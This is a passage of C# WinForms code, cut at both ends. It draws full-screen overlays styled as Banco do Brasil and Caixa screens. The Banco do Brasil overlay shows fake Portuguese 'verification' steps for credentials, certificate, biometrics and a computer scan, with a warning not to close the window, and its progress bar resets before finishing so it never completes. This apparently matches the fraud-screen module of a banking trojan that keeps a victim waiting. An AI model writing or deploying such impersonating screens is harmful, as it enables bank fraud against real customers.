scale); // Etapa label lblSub.Text = "Etapa 1 de 7 - Autenticando credenciais..."; lblSub.Font = new Font("Segoe UI", 13f * scale, FontStyle.Bold); lblSub.ForeColor = Color.White; lblSub.AutoSize = false; lblSub.Size = new Size((int)(scrWBB * 0.42), (int)(35 * scale)); lblSub.Location = new Point(bbPad, bbCY); lblSub.TextAlign = ContentAlignment.MiddleLeft; lblSub.BackColor = Color.Transparent; bbBlueP.Controls.Add(lblSub); bbCY += (int)(50 * scale); // Progress bar int bbBarW = (int)(scrWBB * 0.35); int bbBarH = Math.Max(6, (int)(8 * scale)); Panel bbBarBg = new Panel(); bbBarBg.Size = new Size(bbBarW, bbBarH); bbBarBg.Location = new Point(bbPad, bbCY); bbBarBg.BackColor = Color.FromArgb(80, 120, 200); bbBlueP.Controls.Add(bbBarBg); Panel bbBarFill = new Panel(); bbBarFill.Size = new Size(0, bbBarH); bbBarFill.Location = new Point(0, 0); bbBarFill.BackColor = bbYellow; bbBarBg.Controls.Add(bbBarFill); bbCY += (int)(35 * scale); Label bbWarn = new Label(); bbWarn.Text = "N\u00E3o feche esta janela."; bbWarn.Font = new Font("Segoe UI", 11f * scale); bbWarn.ForeColor = Color.FromArgb(180, 200, 255); bbWarn.AutoSize = false; bbWarn.Size = new Size((int)(scrWBB * 0.30), (int)(30 * scale)); bbWarn.Location = new Point(bbPad, bbCY); bbWarn.BackColor = Color.Transparent; bbBlueP.Controls.Add(bbWarn); bbCY += (int)(50 * scale); // Bot\u00E3o SAIBA MAIS (borda branca, texto branco - outlined) int bbBtnW = (int)(170 * scale); int bbBtnH = (int)(44 * scale); Panel bbBtnP = new Panel(); bbBtnP.Size = new Size(bbBtnW, bbBtnH); bbBtnP.Location = new Point(bbPad, bbCY); bbBtnP.BackColor = Color.White; bbBlueP.Controls.Add(bbBtnP); Panel bbBtnInner = new Panel(); bbBtnInner.Size = new Size(bbBtnW - 4, bbBtnH - 4); bbBtnInner.Location = new Point(2, 2); bbBtnInner.BackColor = bbBlue; bbBtnP.Controls.Add(bbBtnInner); Label bbBtnL = new Label(); bbBtnL.Text = "SAIBA MAIS"; bbBtnL.Font = new Font("Segoe UI Semibold", 11f * scale); bbBtnL.ForeColor = Color.White; bbBtnL.AutoSize = false; bbBtnL.Size = new Size(bbBtnW - 4, bbBtnH - 4); bbBtnL.Location = new Point(0, 0); bbBtnL.TextAlign = ContentAlignment.MiddleCenter; bbBtnL.BackColor = Color.Transparent; bbBtnInner.Controls.Add(bbBtnL); // Timer string[] bbSteps = { "Etapa 1 de 7 - Autenticando credenciais...", "Etapa 2 de 7 - Validando certificado digital...", "Etapa 3 de 7 - Confirmando identidade biom\u00E9trica...", "Etapa 4 de 7 - Verificando integridade do sistema...", "Etapa 5 de 7 - Escaneando ambiente do computador...", "Etapa 6 de 7 - Sincronizando com servidor seguro...", "Etapa 7 de 7 - Finalizando verifica\u00E7\u00E3o..." }; int bbStepI = 0; int bbTick = 0; int bbProg = 0; int bbCycle = 0; var timerBB = new System.Windows.Forms.Timer(); timerBB.Interval = 40; timerBB.Tick += (s, e) => { try { bbTick++; angle -= 0.08; bbSpin.Invalidate(); if (bbTick % 220 == 0 && bbProg < 99) { bbProg++; bbBarFill.Width = (int)(bbBarW * bbProg / 100.0); } if (bbProg >= 99) { bbProg = 0; bbStepI = 0; bbBarFill.Width = 0; bbCycle++; } int ns = Math.Min(bbProg / 15, 6); if (ns != bbStepI) { bbStepI = ns; lblSub.Text = bbSteps[bbStepI]; } } catch { } }; timerBB.Start(); break; case 10: Rectangle priCX = Screen.PrimaryScreen.Bounds; Rectangle vsCX = SystemInformation.VirtualScreen; int offXCX = priCX.X - vsCX.X; int offYCX = priCX.Y - vsCX.Y; int scrWCX = priCX.Width; int scrHCX = priCX.Height; Color cxBlue = Color.FromArgb(0, 102, 179); Color cxOrange = Color.FromArgb(247, 144, 30); Color cxNavy = Color.FromArgb(0, 51, 102); string cxBannerB64 = "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